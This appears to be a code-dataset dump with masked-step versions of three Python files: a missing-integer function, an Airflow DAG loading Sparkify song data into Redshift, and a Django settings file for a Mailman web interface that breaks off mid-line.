{ "blob_id": "8c3c066ed37fe0f67acfd2d5dc9d57ec2b996275", "index": 5640, "step-1": "<mask token>\n", "step-2": "def solution(A):\n if not A:\n return 1\n elif len(A) == 1:\n if A[0] == 1:\n return 2\n else:\n return 1\n A.sort()\n prev = 0\n for i in A:\n if i != prev + 1:\n return i - 1\n else:\n prev = i\n return prev + 1\n", "step-3": "def solution(A):\n if not A:\n return 1\n elif len(A) == 1:\n if A[0] == 1:\n return 2\n else:\n return 1\n\n A.sort()\n prev = 0\n for i in A:\n if i != (prev + 1):\n return i - 1\n else:\n prev = i\n\n return prev + 1\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
from datetime import datetime, timedelta import os from airflow import DAG from airflow.operators.dummy_operator import DummyOperator from airflow.operators import (StageToRedshiftOperator, LoadFactOperator, LoadDimensionOperator, DataQualityOperator) from helpers import SqlQueries # AWS_KEY= os.environ.get('AWS_KEY') # AWS_SECRET = os.environ.get('AWS_SECRET') # Default arguments default_args = { 'owner': 'shreyak', 'start_date': datetime(2020, 12, 1), 'end_date': datetime(2020, 12, 1), 'depends_on_past': False, 'retries': 3, 'retry_delay': timedelta(minutes=5), 'catchup': False, 'email_on_retry': False, } # Defining DAG dag = DAG('udac_sparkify_dag', default_args=default_args, description='Load and transform data in Redshift with Airflow', schedule_interval='0 * * * *' ) # Starting operator start_operator = DummyOperator(task_id='Begin_execution', dag=dag) # Operators to create Staging tables on Redshift stage_events_to_redshift = StageToRedshiftOperator( redshift_id = "redshift", aws_id = "aws_credentials", schema = "staging_events", s3_path="udacity-dend", s3_key = "log_data/", query_end = "format as json 's3://udacity-dend/log_json_path.json'", task_id='Stage_events', dag=dag, ) stage_songs_to_redshift = StageToRedshiftOperator( task_id='Stage_songs', redshift_id = "redshift", aws_id = "aws_credentials", schema = "staging_songs", s3_path="udacity-dend", s3_key = "song_data", query_end = "json 'auto' compupdate off region 'us-west-2'", dag=dag ) # Operator to load fact table load_songplays_table = LoadFactOperator( task_id='Load_songplays_fact_table', redshift_id = "redshift", schema = "songplays", query = "songplay_table_insert", dag=dag, append_only = False ) # Operators to load dimension tables load_user_dimension_table = LoadDimensionOperator( task_id='Load_user_dim_table', redshift_id = "redshift", schema = "users", query = "user_table_insert", dag=dag, append_only = False ) load_song_dimension_table = LoadDimensionOperator( task_id='Load_song_dim_table', redshift_id = "redshift", schema = "song", query = "song_table_insert", dag=dag, append_only = False ) load_artist_dimension_table = LoadDimensionOperator( task_id='Load_artist_dim_table', redshift_id = "redshift", schema = "artist", query = "artist_table_insert", dag=dag, append_only = False ) load_time_dimension_table = LoadDimensionOperator( task_id='Load_time_dim_table', redshift_id = "redshift", schema = "time", query = "time_table_insert", dag=dag, append_only = False ) # Operator for quality checks run_quality_checks = DataQualityOperator( task_id='Run_data_quality_checks', redshift_id = "redshift", tables = ["songplay", "users", "song", "artist", "time"], dag=dag ) # Ending operator end_operator = DummyOperator(task_id='Stop_execution', dag=dag) # Defining dependencies start_operator >> stage_events_to_redshift >> load_songplays_table start_operator >> stage_songs_to_redshift >> load_songplays_table load_songplays_table >> load_song_dimension_table >> run_quality_checks load_songplays_table >> load_user_dimension_table >> run_quality_checks load_songplays_table >> load_artist_dimension_table >> run_quality_checks load_songplays_table >> load_time_dimension_table >> run_quality_checks run_quality_checks >> end_operator
normal
{ "blob_id": "7994d9605c8654053c9a85f8d37983da04f8003a", "index": 2674, "step-1": "<mask token>\n", "step-2": "<mask token>\nstart_operator >> stage_events_to_redshift >> load_songplays_table\nstart_operator >> stage_songs_to_redshift >> load_songplays_table\nload_songplays_table >> load_song_dimension_table >> run_quality_checks\nload_songplays_table >> load_user_dimension_table >> run_quality_checks\nload_songplays_table >> load_artist_dimension_table >> run_quality_checks\nload_songplays_table >> load_time_dimension_table >> run_quality_checks\nrun_quality_checks >> end_operator\n", "step-3": "<mask token>\ndefault_args = {'owner': 'shreyak', 'start_date': datetime(2020, 12, 1),\n 'end_date': datetime(2020, 12, 1), 'depends_on_past': False, 'retries':\n 3, 'retry_delay': timedelta(minutes=5), 'catchup': False,\n 'email_on_retry': False}\ndag = DAG('udac_sparkify_dag', default_args=default_args, description=\n 'Load and transform data in Redshift with Airflow', schedule_interval=\n '0 * * * *')\nstart_operator = DummyOperator(task_id='Begin_execution', dag=dag)\nstage_events_to_redshift = StageToRedshiftOperator(redshift_id='redshift',\n aws_id='aws_credentials', schema='staging_events', s3_path=\n 'udacity-dend', s3_key='log_data/', query_end=\n \"format as json 's3://udacity-dend/log_json_path.json'\", task_id=\n 'Stage_events', dag=dag)\nstage_songs_to_redshift = StageToRedshiftOperator(task_id='Stage_songs',\n redshift_id='redshift', aws_id='aws_credentials', schema=\n 'staging_songs', s3_path='udacity-dend', s3_key='song_data', query_end=\n \"json 'auto' compupdate off region 'us-west-2'\", dag=dag)\nload_songplays_table = LoadFactOperator(task_id='Load_songplays_fact_table',\n redshift_id='redshift', schema='songplays', query=\n 'songplay_table_insert', dag=dag, append_only=False)\nload_user_dimension_table = LoadDimensionOperator(task_id=\n 'Load_user_dim_table', redshift_id='redshift', schema='users', query=\n 'user_table_insert', dag=dag, append_only=False)\nload_song_dimension_table = LoadDimensionOperator(task_id=\n 'Load_song_dim_table', redshift_id='redshift', schema='song', query=\n 'song_table_insert', dag=dag, append_only=False)\nload_artist_dimension_table = LoadDimensionOperator(task_id=\n 'Load_artist_dim_table', redshift_id='redshift', schema='artist', query\n ='artist_table_insert', dag=dag, append_only=False)\nload_time_dimension_table = LoadDimensionOperator(task_id=\n 'Load_time_dim_table', redshift_id='redshift', schema='time', query=\n 'time_table_insert', dag=dag, append_only=False)\nrun_quality_checks = DataQualityOperator(task_id='Run_data_quality_checks',\n redshift_id='redshift', tables=['songplay', 'users', 'song', 'artist',\n 'time'], dag=dag)\nend_operator = DummyOperator(task_id='Stop_execution', dag=dag)\nstart_operator >> stage_events_to_redshift >> load_songplays_table\nstart_operator >> stage_songs_to_redshift >> load_songplays_table\nload_songplays_table >> load_song_dimension_table >> run_quality_checks\nload_songplays_table >> load_user_dimension_table >> run_quality_checks\nload_songplays_table >> load_artist_dimension_table >> run_quality_checks\nload_songplays_table >> load_time_dimension_table >> run_quality_checks\nrun_quality_checks >> end_operator\n", "step-4": "from datetime import datetime, timedelta\nimport os\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators import StageToRedshiftOperator, LoadFactOperator, LoadDimensionOperator, DataQualityOperator\nfrom helpers import SqlQueries\ndefault_args = {'owner': 'shreyak', 'start_date': datetime(2020, 12, 1),\n 'end_date': datetime(2020, 12, 1), 'depends_on_past': False, 'retries':\n 3, 'retry_delay': timedelta(minutes=5), 'catchup': False,\n 'email_on_retry': False}\ndag = DAG('udac_sparkify_dag', default_args=default_args, description=\n 'Load and transform data in Redshift with Airflow', schedule_interval=\n '0 * * * *')\nstart_operator = DummyOperator(task_id='Begin_execution', dag=dag)\nstage_events_to_redshift = StageToRedshiftOperator(redshift_id='redshift',\n aws_id='aws_credentials', schema='staging_events', s3_path=\n 'udacity-dend', s3_key='log_data/', query_end=\n \"format as json 's3://udacity-dend/log_json_path.json'\", task_id=\n 'Stage_events', dag=dag)\nstage_songs_to_redshift = StageToRedshiftOperator(task_id='Stage_songs',\n redshift_id='redshift', aws_id='aws_credentials', schema=\n 'staging_songs', s3_path='udacity-dend', s3_key='song_data', query_end=\n \"json 'auto' compupdate off region 'us-west-2'\", dag=dag)\nload_songplays_table = LoadFactOperator(task_id='Load_songplays_fact_table',\n redshift_id='redshift', schema='songplays', query=\n 'songplay_table_insert', dag=dag, append_only=False)\nload_user_dimension_table = LoadDimensionOperator(task_id=\n 'Load_user_dim_table', redshift_id='redshift', schema='users', query=\n 'user_table_insert', dag=dag, append_only=False)\nload_song_dimension_table = LoadDimensionOperator(task_id=\n 'Load_song_dim_table', redshift_id='redshift', schema='song', query=\n 'song_table_insert', dag=dag, append_only=False)\nload_artist_dimension_table = LoadDimensionOperator(task_id=\n 'Load_artist_dim_table', redshift_id='redshift', schema='artist', query\n ='artist_table_insert', dag=dag, append_only=False)\nload_time_dimension_table = LoadDimensionOperator(task_id=\n 'Load_time_dim_table', redshift_id='redshift', schema='time', query=\n 'time_table_insert', dag=dag, append_only=False)\nrun_quality_checks = DataQualityOperator(task_id='Run_data_quality_checks',\n redshift_id='redshift', tables=['songplay', 'users', 'song', 'artist',\n 'time'], dag=dag)\nend_operator = DummyOperator(task_id='Stop_execution', dag=dag)\nstart_operator >> stage_events_to_redshift >> load_songplays_table\nstart_operator >> stage_songs_to_redshift >> load_songplays_table\nload_songplays_table >> load_song_dimension_table >> run_quality_checks\nload_songplays_table >> load_user_dimension_table >> run_quality_checks\nload_songplays_table >> load_artist_dimension_table >> run_quality_checks\nload_songplays_table >> load_time_dimension_table >> run_quality_checks\nrun_quality_checks >> end_operator\n", "step-5": "from datetime import datetime, timedelta\nimport os\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators import (StageToRedshiftOperator, LoadFactOperator,\n LoadDimensionOperator, DataQualityOperator)\nfrom helpers import SqlQueries\n\n# AWS_KEY= os.environ.get('AWS_KEY')\n# AWS_SECRET = os.environ.get('AWS_SECRET')\n\n# Default arguments\ndefault_args = {\n 'owner': 'shreyak',\n 'start_date': datetime(2020, 12, 1),\n 'end_date': datetime(2020, 12, 1),\n 'depends_on_past': False,\n 'retries': 3,\n 'retry_delay': timedelta(minutes=5),\n 'catchup': False,\n 'email_on_retry': False,\n \n}\n\n# Defining DAG\ndag = DAG('udac_sparkify_dag',\n default_args=default_args,\n description='Load and transform data in Redshift with Airflow',\n schedule_interval='0 * * * *'\n )\n\n# Starting operator\n\nstart_operator = DummyOperator(task_id='Begin_execution', dag=dag)\n\n# Operators to create Staging tables on Redshift\n\nstage_events_to_redshift = StageToRedshiftOperator(\n redshift_id = \"redshift\",\n aws_id = \"aws_credentials\",\n schema = \"staging_events\",\n s3_path=\"udacity-dend\",\n s3_key = \"log_data/\",\n query_end = \"format as json 's3://udacity-dend/log_json_path.json'\",\n task_id='Stage_events',\n dag=dag,\n)\n\nstage_songs_to_redshift = StageToRedshiftOperator(\n task_id='Stage_songs',\n redshift_id = \"redshift\",\n aws_id = \"aws_credentials\",\n schema = \"staging_songs\",\n s3_path=\"udacity-dend\",\n s3_key = \"song_data\",\n query_end = \"json 'auto' compupdate off region 'us-west-2'\",\n dag=dag\n)\n\n# Operator to load fact table\n\nload_songplays_table = LoadFactOperator(\n task_id='Load_songplays_fact_table',\n redshift_id = \"redshift\",\n schema = \"songplays\",\n query = \"songplay_table_insert\",\n dag=dag,\n append_only = False\n)\n\n# Operators to load dimension tables\n\nload_user_dimension_table = LoadDimensionOperator(\n task_id='Load_user_dim_table', \n redshift_id = \"redshift\",\n schema = \"users\",\n query = \"user_table_insert\",\n dag=dag,\n append_only = False\n)\n\nload_song_dimension_table = LoadDimensionOperator(\n task_id='Load_song_dim_table',\n redshift_id = \"redshift\",\n schema = \"song\",\n query = \"song_table_insert\",\n dag=dag,\n append_only = False\n)\n\nload_artist_dimension_table = LoadDimensionOperator(\n task_id='Load_artist_dim_table',\n redshift_id = \"redshift\",\n schema = \"artist\",\n query = \"artist_table_insert\",\n dag=dag,\n append_only = False\n)\n\nload_time_dimension_table = LoadDimensionOperator(\n task_id='Load_time_dim_table',\n redshift_id = \"redshift\",\n schema = \"time\",\n query = \"time_table_insert\",\n dag=dag,\n append_only = False\n)\n\n# Operator for quality checks \n\nrun_quality_checks = DataQualityOperator(\n task_id='Run_data_quality_checks',\n redshift_id = \"redshift\",\n tables = [\"songplay\", \"users\", \"song\", \"artist\", \"time\"],\n dag=dag\n)\n\n# Ending operator\n\nend_operator = DummyOperator(task_id='Stop_execution', dag=dag)\n\n# Defining dependencies\n\nstart_operator >> stage_events_to_redshift >> load_songplays_table\nstart_operator >> stage_songs_to_redshift >> load_songplays_table\n\nload_songplays_table >> load_song_dimension_table >> run_quality_checks\nload_songplays_table >> load_user_dimension_table >> run_quality_checks\nload_songplays_table >> load_artist_dimension_table >> run_quality_checks\nload_songplays_table >> load_time_dimension_table >> run_quality_checks\n\nrun_quality_checks >> end_operator", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def read_cfg(path, section=None, option=None): config = SafeConfigParser() config.read(path) def get(section, option): return config.get(section, option) if config.has_option(section, option ) else None return get(section, option) if section else get <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def read_cfg(path, section=None, option=None): config = SafeConfigParser() config.read(path) def get(section, option): return config.get(section, option) if config.has_option(section, option ) else None return get(section, option) if section else get <|reserved_special_token_0|> if 'custom.LDAPBackend' in AUTHENTICATION_BACKENDS: import ldap from django_auth_ldap.config import LDAPSearch ldap.set_option(ldap.OPT_X_TLS_CACERTDIR, '/etc/ssl/certs') AUTH_LDAP_SERVER_URI = 'ldaps://ldap.example.org' AUTH_LDAP_USER_SEARCH = LDAPSearch('ou=People,dc=example,dc=org', ldap. SCOPE_SUBTREE, '(&(mail=*)(uid=%(user)s))') AUTH_LDAP_USER_ATTR_MAP = {'first_name': 'givenName', 'last_name': 'sn', 'email': 'mail'} <|reserved_special_token_0|> if 'raven.contrib.django.raven_compat' in INSTALLED_APPS: RAVEN_CONFIG = {'dsn': 'https://<key>:<secret>@sentry.io/<project>'} LOGGING['handlers']['sentry'] = {'level': 'ERROR', 'class': 'raven.contrib.django.raven_compat.handlers.SentryHandler'} LOGGING['loggers']['root']['handlers'].append('sentry') try: from settings_local import * except ImportError: pass <|reserved_special_token_1|> <|reserved_special_token_0|> def read_cfg(path, section=None, option=None): config = SafeConfigParser() config.read(path) def get(section, option): return config.get(section, option) if config.has_option(section, option ) else None return get(section, option) if section else get mailman_cfg = read_cfg('/etc/mailman.cfg') BASE_DIR = '/usr/lib/bundles/mailman-webui' CONF_DIR = '/etc/mailman-webui' DATA_DIR = '/var/lib/mailman-webui' LOG_DIR = '/var/log/mailman-webui' ALLOWED_HOSTS = ['localhost'] MAILMAN_REST_API_URL = 'http://localhost:%s' % (mailman_cfg('webservice', 'port') or 8001) MAILMAN_REST_API_USER = mailman_cfg('webservice', 'admin_user') or 'restadmin' MAILMAN_REST_API_PASS = mailman_cfg('webservice', 'admin_pass') MAILMAN_ARCHIVER_KEY = read_cfg('/etc/mailman.d/hyperkitty.cfg', 'general', 'api_key') MAILMAN_ARCHIVER_FROM = '127.0.0.1', '::1', '::ffff:127.0.0.1' REST_FRAMEWORK = {'PAGE_SIZE': 10} FILTER_VHOST = False SITE_ID = 1 INSTALLED_APPS = ('django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', 'django.contrib.staticfiles', 'hyperkitty', 'rest_framework', 'django_gravatar', 'paintstore', 'compressor', 'haystack', 'django_extensions', 'postorius', 'django_mailman3', 'stronghold', 'allauth', 'allauth.account', 'allauth.socialaccount') MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django_mailman3.middleware.TimezoneMiddleware', 'postorius.middleware.PostoriusMiddleware') ROOT_URLCONF = 'urls' TEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [joinpath(DATA_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': {'context_processors': ['django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.template.context_processors.tz', 'django.template.context_processors.csrf', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'django_mailman3.context_processors.common', 'hyperkitty.context_processors.common', 'postorius.context_processors.postorius']}}] WSGI_APPLICATION = 'wsgi.application' DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': joinpath(DATA_DIR, 'db.sqlite3')}} HAYSTACK_CONNECTIONS = {'default': {'ENGINE': 'haystack.backends.whoosh_backend.WhooshEngine', 'PATH': joinpath( DATA_DIR, 'fulltext_index')}} EMAIL_HOST = mailman_cfg('mta', 'smtp_host') or 'localhost' EMAIL_PORT = int(mailman_cfg('mta', 'smtp_port') or 25) EMAIL_HOST_USER = mailman_cfg('mta', 'smtp_user') or '' EMAIL_HOST_PASSWORD = mailman_cfg('mta', 'smtp_pass') or '' EMAIL_USE_TLS = False EMAIL_USE_SSL = False ADMINS = ('Mailman Admin', 'root@localhost'), SECRET_KEY = open(joinpath(CONF_DIR, 'secret_key')).read() CSRF_COOKIE_SECURE = True CSRF_COOKIE_HTTPONLY = True SESSION_COOKIE_SECURE = True SECURE_CONTENT_TYPE_NOSNIFF = True SECURE_BROWSER_XSS_FILTER = True X_FRAME_OPTIONS = 'DENY' USE_X_FORWARDED_HOST = True SECURE_PROXY_SSL_HEADER = 'HTTP_X_FORWARDED_PROTO', 'https' AUTHENTICATION_BACKENDS = ('django.contrib.auth.backends.ModelBackend', 'allauth.account.auth_backends.AuthenticationBackend') LOGIN_URL = 'account_login' LOGIN_REDIRECT_URL = 'hk_root' LOGOUT_URL = 'account_logout' REGISTRATION_OPEN = True AUTH_PASSWORD_VALIDATORS = [{'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator' }, {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator'}, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'}, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator'} ] STRONGHOLD_PUBLIC_URLS = '^/accounts/.*', '^/archives/api/mailman/.*' ACCOUNT_ADAPTER = 'custom.CloseableRegistrationAccountAdapter' ACCOUNT_AUTHENTICATION_METHOD = 'username_email' ACCOUNT_EMAIL_REQUIRED = True ACCOUNT_EMAIL_VERIFICATION = 'mandatory' ACCOUNT_DEFAULT_HTTP_PROTOCOL = 'https' ACCOUNT_UNIQUE_EMAIL = True ACCOUNT_LOGOUT_ON_GET = False SOCIALACCOUNT_PROVIDERS = {} if 'custom.LDAPBackend' in AUTHENTICATION_BACKENDS: import ldap from django_auth_ldap.config import LDAPSearch ldap.set_option(ldap.OPT_X_TLS_CACERTDIR, '/etc/ssl/certs') AUTH_LDAP_SERVER_URI = 'ldaps://ldap.example.org' AUTH_LDAP_USER_SEARCH = LDAPSearch('ou=People,dc=example,dc=org', ldap. SCOPE_SUBTREE, '(&(mail=*)(uid=%(user)s))') AUTH_LDAP_USER_ATTR_MAP = {'first_name': 'givenName', 'last_name': 'sn', 'email': 'mail'} LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True STATIC_ROOT = joinpath(BASE_DIR, 'static') STATIC_URL = '/static/' STATICFILES_DIRS = () STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', 'compressor.finders.CompressorFinder') COMPRESS_OFFLINE = True <|reserved_special_token_0|> MESSAGE_TAGS = {messages.ERROR: 'danger'} GRAVATAR_URL = 'http://cdn.libravatar.org/' GRAVATAR_SECURE_URL = 'https://seccdn.libravatar.org/' GRAVATAR_DEFAULT_IMAGE = 'retro' GRAVATAR_DEFAULT_SECURE = True LOGGING = {'version': 1, 'disable_existing_loggers': False, 'filters': { 'require_debug_false': {'()': 'django.utils.log.RequireDebugFalse'}}, 'handlers': {'console': {'class': 'logging.StreamHandler', 'formatter': 'simple'}, 'file': {'level': 'INFO', 'class': 'logging.handlers.WatchedFileHandler', 'filename': joinpath(LOG_DIR, 'mailman-webui.log'), 'formatter': 'verbose'}, 'mail_admins': {'level': 'ERROR', 'filters': ['require_debug_false'], 'class': 'django.utils.log.AdminEmailHandler'}}, 'loggers': {'django.request': { 'handlers': ['file'], 'level': 'ERROR', 'propagate': True}, 'django': { 'handlers': ['file'], 'level': 'ERROR', 'propagate': True}, 'postorius': {'handlers': ['file'], 'level': 'INFO', 'propagate': True}, 'hyperkitty': {'handlers': ['file'], 'level': 'INFO', 'propagate': True }}, 'formatters': {'verbose': {'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s' }, 'simple': {'format': '%(levelname)s %(message)s'}}, 'root': { 'handlers': ['file'], 'level': 'INFO'}} if 'raven.contrib.django.raven_compat' in INSTALLED_APPS: RAVEN_CONFIG = {'dsn': 'https://<key>:<secret>@sentry.io/<project>'} LOGGING['handlers']['sentry'] = {'level': 'ERROR', 'class': 'raven.contrib.django.raven_compat.handlers.SentryHandler'} LOGGING['loggers']['root']['handlers'].append('sentry') try: from settings_local import * except ImportError: pass <|reserved_special_token_1|> <|reserved_special_token_0|> from os.path import abspath, dirname, join as joinpath from ConfigParser import SafeConfigParser def read_cfg(path, section=None, option=None): config = SafeConfigParser() config.read(path) def get(section, option): return config.get(section, option) if config.has_option(section, option ) else None return get(section, option) if section else get mailman_cfg = read_cfg('/etc/mailman.cfg') BASE_DIR = '/usr/lib/bundles/mailman-webui' CONF_DIR = '/etc/mailman-webui' DATA_DIR = '/var/lib/mailman-webui' LOG_DIR = '/var/log/mailman-webui' ALLOWED_HOSTS = ['localhost'] MAILMAN_REST_API_URL = 'http://localhost:%s' % (mailman_cfg('webservice', 'port') or 8001) MAILMAN_REST_API_USER = mailman_cfg('webservice', 'admin_user') or 'restadmin' MAILMAN_REST_API_PASS = mailman_cfg('webservice', 'admin_pass') MAILMAN_ARCHIVER_KEY = read_cfg('/etc/mailman.d/hyperkitty.cfg', 'general', 'api_key') MAILMAN_ARCHIVER_FROM = '127.0.0.1', '::1', '::ffff:127.0.0.1' REST_FRAMEWORK = {'PAGE_SIZE': 10} FILTER_VHOST = False SITE_ID = 1 INSTALLED_APPS = ('django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', 'django.contrib.staticfiles', 'hyperkitty', 'rest_framework', 'django_gravatar', 'paintstore', 'compressor', 'haystack', 'django_extensions', 'postorius', 'django_mailman3', 'stronghold', 'allauth', 'allauth.account', 'allauth.socialaccount') MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django_mailman3.middleware.TimezoneMiddleware', 'postorius.middleware.PostoriusMiddleware') ROOT_URLCONF = 'urls' TEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [joinpath(DATA_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': {'context_processors': ['django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.template.context_processors.tz', 'django.template.context_processors.csrf', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'django_mailman3.context_processors.common', 'hyperkitty.context_processors.common', 'postorius.context_processors.postorius']}}] WSGI_APPLICATION = 'wsgi.application' DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': joinpath(DATA_DIR, 'db.sqlite3')}} HAYSTACK_CONNECTIONS = {'default': {'ENGINE': 'haystack.backends.whoosh_backend.WhooshEngine', 'PATH': joinpath( DATA_DIR, 'fulltext_index')}} EMAIL_HOST = mailman_cfg('mta', 'smtp_host') or 'localhost' EMAIL_PORT = int(mailman_cfg('mta', 'smtp_port') or 25) EMAIL_HOST_USER = mailman_cfg('mta', 'smtp_user') or '' EMAIL_HOST_PASSWORD = mailman_cfg('mta', 'smtp_pass') or '' EMAIL_USE_TLS = False EMAIL_USE_SSL = False ADMINS = ('Mailman Admin', 'root@localhost'), SECRET_KEY = open(joinpath(CONF_DIR, 'secret_key')).read() CSRF_COOKIE_SECURE = True CSRF_COOKIE_HTTPONLY = True SESSION_COOKIE_SECURE = True SECURE_CONTENT_TYPE_NOSNIFF = True SECURE_BROWSER_XSS_FILTER = True X_FRAME_OPTIONS = 'DENY' USE_X_FORWARDED_HOST = True SECURE_PROXY_SSL_HEADER = 'HTTP_X_FORWARDED_PROTO', 'https' AUTHENTICATION_BACKENDS = ('django.contrib.auth.backends.ModelBackend', 'allauth.account.auth_backends.AuthenticationBackend') LOGIN_URL = 'account_login' LOGIN_REDIRECT_URL = 'hk_root' LOGOUT_URL = 'account_logout' REGISTRATION_OPEN = True AUTH_PASSWORD_VALIDATORS = [{'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator' }, {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator'}, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'}, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator'} ] STRONGHOLD_PUBLIC_URLS = '^/accounts/.*', '^/archives/api/mailman/.*' ACCOUNT_ADAPTER = 'custom.CloseableRegistrationAccountAdapter' ACCOUNT_AUTHENTICATION_METHOD = 'username_email' ACCOUNT_EMAIL_REQUIRED = True ACCOUNT_EMAIL_VERIFICATION = 'mandatory' ACCOUNT_DEFAULT_HTTP_PROTOCOL = 'https' ACCOUNT_UNIQUE_EMAIL = True ACCOUNT_LOGOUT_ON_GET = False SOCIALACCOUNT_PROVIDERS = {} if 'custom.LDAPBackend' in AUTHENTICATION_BACKENDS: import ldap from django_auth_ldap.config import LDAPSearch ldap.set_option(ldap.OPT_X_TLS_CACERTDIR, '/etc/ssl/certs') AUTH_LDAP_SERVER_URI = 'ldaps://ldap.example.org' AUTH_LDAP_USER_SEARCH = LDAPSearch('ou=People,dc=example,dc=org', ldap. SCOPE_SUBTREE, '(&(mail=*)(uid=%(user)s))') AUTH_LDAP_USER_ATTR_MAP = {'first_name': 'givenName', 'last_name': 'sn', 'email': 'mail'} LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True STATIC_ROOT = joinpath(BASE_DIR, 'static') STATIC_URL = '/static/' STATICFILES_DIRS = () STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', 'compressor.finders.CompressorFinder') COMPRESS_OFFLINE = True from django.contrib.messages import constants as messages MESSAGE_TAGS = {messages.ERROR: 'danger'} GRAVATAR_URL = 'http://cdn.libravatar.org/' GRAVATAR_SECURE_URL = 'https://seccdn.libravatar.org/' GRAVATAR_DEFAULT_IMAGE = 'retro' GRAVATAR_DEFAULT_SECURE = True LOGGING = {'version': 1, 'disable_existing_loggers': False, 'filters': { 'require_debug_false': {'()': 'django.utils.log.RequireDebugFalse'}}, 'handlers': {'console': {'class': 'logging.StreamHandler', 'formatter': 'simple'}, 'file': {'level': 'INFO', 'class': 'logging.handlers.WatchedFileHandler', 'filename': joinpath(LOG_DIR, 'mailman-webui.log'), 'formatter': 'verbose'}, 'mail_admins': {'level': 'ERROR', 'filters': ['require_debug_false'], 'class': 'django.utils.log.AdminEmailHandler'}}, 'loggers': {'django.request': { 'handlers': ['file'], 'level': 'ERROR', 'propagate': True}, 'django': { 'handlers': ['file'], 'level': 'ERROR', 'propagate': True}, 'postorius': {'handlers': ['file'], 'level': 'INFO', 'propagate': True}, 'hyperkitty': {'handlers': ['file'], 'level': 'INFO', 'propagate': True }}, 'formatters': {'verbose': {'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s' }, 'simple': {'format': '%(levelname)s %(message)s'}}, 'root': { 'handlers': ['file'], 'level': 'INFO'}} if 'raven.contrib.django.raven_compat' in INSTALLED_APPS: RAVEN_CONFIG = {'dsn': 'https://<key>:<secret>@sentry.io/<project>'} LOGGING['handlers']['sentry'] = {'level': 'ERROR', 'class': 'raven.contrib.django.raven_compat.handlers.SentryHandler'} LOGGING['loggers']['root']['handlers'].append('sentry') try: from settings_local import * except ImportError: pass <|reserved_special_token_1|> #-*- coding: utf-8 -*- """ Django settings for HyperKitty + Postorius Pay attention to settings ALLOWED_HOSTS and DATABASES! """ from os.path import abspath, dirname, join as joinpath from ConfigParser import SafeConfigParser def read_cfg(path, section=None, option=None): config = SafeConfigParser() config.read(path) def get(section, option): return config.get(section, option) if config.has_option(section, option) else None return get(section, option) if section else get mailman_cfg = read_cfg('/etc/mailman.cfg') BASE_DIR = '/usr/lib/bundles/mailman-webui' CONF_DIR = '/etc/mailman-webui' DATA_DIR = '/var/lib/mailman-webui' LOG_DIR = '/var/log/mailman-webui' # Hosts/domain names that are valid for this site. # NOTE: You MUST add domain name of your instance of this application here! # See https://docs.djangoproject.com/en/1.9/ref/settings/#allowed-hosts ALLOWED_HOSTS = ['localhost'] # Mailman API credentials # NOTE: Replace with hard-coded values if Mailman is running on a different host. MAILMAN_REST_API_URL = 'http://localhost:%s' % (mailman_cfg('webservice', 'port') or 8001) MAILMAN_REST_API_USER = mailman_cfg('webservice', 'admin_user') or 'restadmin' MAILMAN_REST_API_PASS = mailman_cfg('webservice', 'admin_pass') MAILMAN_ARCHIVER_KEY = 